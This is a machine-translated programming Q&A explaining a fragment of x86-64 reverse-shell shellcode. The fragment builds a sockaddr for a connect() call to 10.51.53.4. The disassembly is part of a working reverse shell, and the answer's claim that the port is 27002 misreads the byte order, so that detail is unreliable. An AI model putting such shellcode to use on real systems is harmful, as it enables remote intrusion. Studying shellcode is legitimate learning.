x86 64 反转 shell shell 代码

x86 64 Reverse shell shellcode

我正在寻找来自 this link 的反向 shell shell 代码。我无法遵循 shell 代码中以下说明的原因:

4000a3:   4d 31 d2                xor    r10,r10
4000a6:   41 52                   push   r10
4000a8:   c6 04 24 02             mov    BYTE PTR [rsp],0x2
4000ac:   66 c7 44 24 02 7a 69    mov    WORD PTR [rsp+0x2],0x697a
4000b3:   c7 44 24 04 0a 33 35    mov    DWORD PTR [rsp+0x4],0x435330a
4000ba:   04 
4000bb:   48 89 e6                mov    rsi,rsp

我搜索了其他 SO 问题,发现 BYTE/WORD/DWORD PTR 将用于分配 byte/word/dword。由于这个 x86 64,我假设这里的 WORD 表示 2 个字节,DWORD 表示 4 个字节(如果我错了请纠正我)。 作者在堆栈上压零。然后他有3条mov指令。 假设 RSP 最初指向:

x00 x00 x00 x00 x00 x00 x00 x00

1) 下面是3条mov指令的效果(假设是little endian)?

x04 x35 x33 x0a x7a x69 x00 x02

2) 如果是,那么作者通过它实现了什么,因为下一个 mov 指令不会覆盖 rsp 指向的内容吗?

谢谢

1) 是

2) 作者正在为套接字连接系统调用保存 sockaddr

       int connect(int sockfd, const struct sockaddr *addr,
               socklen_t addrlen);

在 x86-64 中,参数是寄存器 rdi、rsi 和 rdx。因此,他正在将指针 addr 指针移动到 rsi 寄存器。

 mov    BYTE PTR [rsp],0x2              ; Family Address (PF_INET)
 mov    WORD PTR [rsp+0x2],0x697a       ; port = 27002
 mov    DWORD PTR [rsp+0x4],0x435330a   ; addr = 10.51.53.4 (0a333504)